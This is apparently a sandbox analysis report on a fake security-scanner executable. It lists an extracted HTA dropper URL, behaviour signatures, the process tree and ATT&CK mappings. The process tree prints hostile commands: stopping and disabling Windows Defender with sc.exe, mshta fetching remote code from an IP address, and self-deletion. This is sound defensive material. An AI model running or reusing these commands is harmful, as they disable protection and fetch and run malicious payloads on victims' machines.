Analysis
- max time kernel
40s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 09:49
General
- Target Endermanch40SecurityScanner.exe
- Size 2.2MB
- Sample260930-ltjtlsvv8p
- SHA256 077c04ee44667c5e1024652a7bbe7fff81360ef128245ffd4cd843b7a56227cf
Malware Config
Extracted
-
hta
-
hta.dropper
http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=JGATYMDT&2=i-s&3=61&4=9200&5=6&6=2&7=926100&8=1033
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Disables service(s) 3 TTPs
- Executes dropped EXE 1 IoCs
- Stops running service(s) 4 TTPs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 9 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Endermanch40SecurityScanner.exe"C:\Users\Admin\AppData\Local\Temp\Endermanch40SecurityScanner.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\uslrhi.exeC:\Users\Admin\AppData\Roaming\uslrhi.exe2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=JGATYMDT&2=i-s&3=61&4=9200&5=6&6=2&7=926100&8=1033"3⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\ENDERM~1.EXE" >> NUL2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Defense Evasion
Impair Defenses
1Indicator Removal
1File Deletion
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
uslrhi.exe
memory/4588-78-0x0000000000400000-0x0000000000843000-memory.dmp
memory/4588-79-0x0000000000400000-0x0000000000843000-memory.dmp
memory/4588-80-0x0000000000400000-0x0000000000843000-memory.dmp
memory/5104-0-0x0000000000400000-0x0000000000843000-memory.dmp
memory/5104-1-0x0000000001000000-0x0000000001060000-memory.dmp
memory/5104-3-0x0000000000B40000-0x0000000000B41000-memory.dmp
memory/5104-8-0x00000000027D0000-0x00000000027D1000-memory.dmp
memory/5104-6-0x00000000027E0000-0x00000000027E1000-memory.dmp
memory/5104-5-0x0000000000B30000-0x0000000000B31000-memory.dmp
memory/5104-4-0x00000000027C0000-0x00000000027C1000-memory.dmp
memory/5104-2-0x0000000000B50000-0x0000000000B51000-memory.dmp
memory/5104-9-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-7-0x0000000002780000-0x0000000002781000-memory.dmp
memory/5104-14-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-25-0x0000000002860000-0x0000000002861000-memory.dmp
memory/5104-42-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-41-0x0000000002850000-0x0000000002851000-memory.dmp
memory/5104-40-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-39-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-38-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-37-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-36-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-35-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-44-0x0000000001000000-0x0000000001060000-memory.dmp
memory/5104-43-0x0000000000400000-0x0000000000843000-memory.dmp
memory/5104-48-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-47-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-46-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-45-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-34-0x0000000002930000-0x0000000002931000-memory.dmp
memory/5104-33-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-32-0x0000000002910000-0x0000000002911000-memory.dmp
memory/5104-31-0x00000000028D0000-0x00000000028D1000-memory.dmp
memory/5104-30-0x00000000028E0000-0x00000000028E1000-memory.dmp
memory/5104-29-0x00000000028F0000-0x00000000028F1000-memory.dmp
memory/5104-28-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-56-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-62-0x0000000003750000-0x0000000003752000-memory.dmp
memory/5104-68-0x0000000003740000-0x0000000003743000-memory.dmp
memory/5104-67-0x0000000003770000-0x0000000003771000-memory.dmp
memory/5104-66-0x0000000000B20000-0x0000000000B21000-memory.dmp
memory/5104-65-0x0000000000B10000-0x0000000000B11000-memory.dmp
memory/5104-64-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-63-0x00000000037A0000-0x00000000037A1000-memory.dmp
memory/5104-61-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-60-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-59-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-58-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-57-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-55-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-54-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-52-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-51-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-50-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-49-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-53-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-27-0x00000000028A0000-0x00000000028A1000-memory.dmp
memory/5104-26-0x0000000002810000-0x0000000002811000-memory.dmp
memory/5104-24-0x0000000002890000-0x0000000002891000-memory.dmp
memory/5104-23-0x0000000002820000-0x0000000002821000-memory.dmp
memory/5104-22-0x0000000002840000-0x0000000002841000-memory.dmp
memory/5104-21-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-20-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-19-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-18-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-17-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-16-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-15-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-13-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-12-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-11-0x0000000003760000-0x0000000003761000-memory.dmp
memory/5104-10-0x00000000027B0000-0x00000000027B1000-memory.dmp
memory/5104-73-0x0000000003750000-0x0000000003751000-memory.dmp
memory/5104-76-0x0000000000400000-0x0000000000843000-memory.dmp
memory/5104-77-0x0000000001000000-0x0000000001060000-memory.dmp